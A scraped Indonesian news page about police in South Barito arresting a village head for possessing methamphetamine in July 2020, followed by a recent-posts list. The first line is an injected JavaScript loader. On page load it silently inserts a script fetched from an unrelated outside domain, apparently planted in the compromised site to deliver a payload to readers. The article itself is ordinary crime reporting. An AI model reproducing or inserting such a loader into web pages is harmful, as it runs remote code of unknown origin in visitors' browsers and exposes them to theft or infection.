(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Sempat Buang Barang Bukti, Oknum Kades Ditangkap Polsek Dusel Atas Kepemilikan Sabu!


KANALKALIMANTAN.COM, BUNTOK – Lantaran kedapatan memiliki narkoba jenis sabu, oknum Kades di Kecamatan Dusun Utara (Dusut) diamankan jajaran Unit Reskrim Polsek Dusel, di jalan Keladan gang Palapa VIII, Kamis (2/7/2020) pukul 18:22 WIB.

Kapolres Barsel AKBP Devy Firmansyah melalui Kapolsek Dusel Iptu Ahmad Wira Wisudawan mengatakan, tadi malam berhasil mengamankan seorang oknum Kades berinisial IY (43) yang memiliki satu paket narkoba jenis sabu. Ia mengatakan, unit Reskrim Polsek Dusel mendapatkan informasi dari masyarakat tentang adanya transaksi narkotika, di jalan Kaladan Gang Palapa VIII.

Dari informasi tersebut, Reskrim Polsek Dusel dipimpin langsung Kapolsek Dusel Iptu Wira, saat tiba di TKP menemukan tersangka IY yang tertangkap tangan melakukan tindak pidana memiliki menguasai menyediakan atau sebagai perantara jual beli sabu. “Jadi tersangka tertangkap tangan sedang memiliki sabu sebanyak satu paket saat kita melakukan penyergapan di TKP,” beber Iptu Wira kepada Kanalkalimantan.com, di kantornya Jumat (3/7/2020).

Ia mengatakan, saat proses penyergapan pelaku sempat membuang barang bukti  berupa plastik klip kecil sabu. Tapi aksinya diketahui petugas. “Sehingga dengan disaksikan oleh Ketua RT dan warga sekitar, pelaku tidak bisa berkilah lagi walaupun sempat tidak mengakui barang yang ditemukan adalah miliknya. Saat dilakukan penggeledahan dalam tas ransel milik pelaku juga didapati sedotan plastik putih yang di dalamnya masih ada plastik klip bening bekas sabu,” tutur Iptu Wira.

Saat ini tersangka beserta barang bukti sudah di amankan di Mapolsek Dusel, untuk melakukan penyelidikan lebih lanjut serta mempertanggung jawabkan perbuatannya. “Tanpa hak memiliki menguasai menyediakan atau sebagai perantara jual beli narkotika golongan I jenis shabu sebagaimana dimaksud dalam pasal 112 ayat (1) atau pasal 114 ayat (1) uu no.35 tahun 2009, tentang narkotika, dengan ancaman hukuman paling singkat 4 tahun dan paling lama 12 tahun yang akan dikenakan pasal sementara kepada pelaku,” tandas Wira. (kanalkalimantan.com/digdo)

Reporter : digdo
Editor : cell

 


Al Ghifari

Recent Posts

Peternakan Babi Dekat Kampus UIN Antasari di Guntung Manggis Dikeluhkan

Pemilik Ternak Diminta Datang ke Kantor Satpol PP Banjarbaru Read More

7 jam ago

Rekayasa Pemasangan ATSC, Jalan Pangeran Suriansyah Steril Parkir dan PKL

KANALKALIMANTAN.COM, BANJARBARU - Kawasan pinggir jalan maupun median di Jalan Pangeran Suriansyah, Kota Banjarbaru, Kalimantan… Read More

9 jam ago

Pj Bupati HSU Resmikan TMMD ke-120 di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan secara resmi membuka… Read More

10 jam ago

Sekat Bakar Antisipasi Karhutla Ring 1 Bandara Syamsudin Noor

KANALKALIMANTAN.COM, BANJARBARU - Provinsi Kalimantan Selatan kembali memfokuskan penanganan ancaman kebakaran hutan dan lahan (Karhutla)… Read More

10 jam ago

Buaya di Pelambuan Banjarmasin Gagal Ditangkap, Tiga Kali Terlihat Warga Muncul

KANALKALIMANTAN.COM, BANJARMASIN - Kemunculan seekor buaya di kawasan sungai Kelurahan Pelambuan, Kecamatan Banjarmasin Utara, Kota… Read More

13 jam ago

Ambulans Baru Layanan Puskesmas Keliling di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Dinas Kesehatan (Dinkes) Kota Banjarbaru hadirkan layanan kesehatan yang lebih dekat dengan… Read More

14 jam ago

This website uses cookies.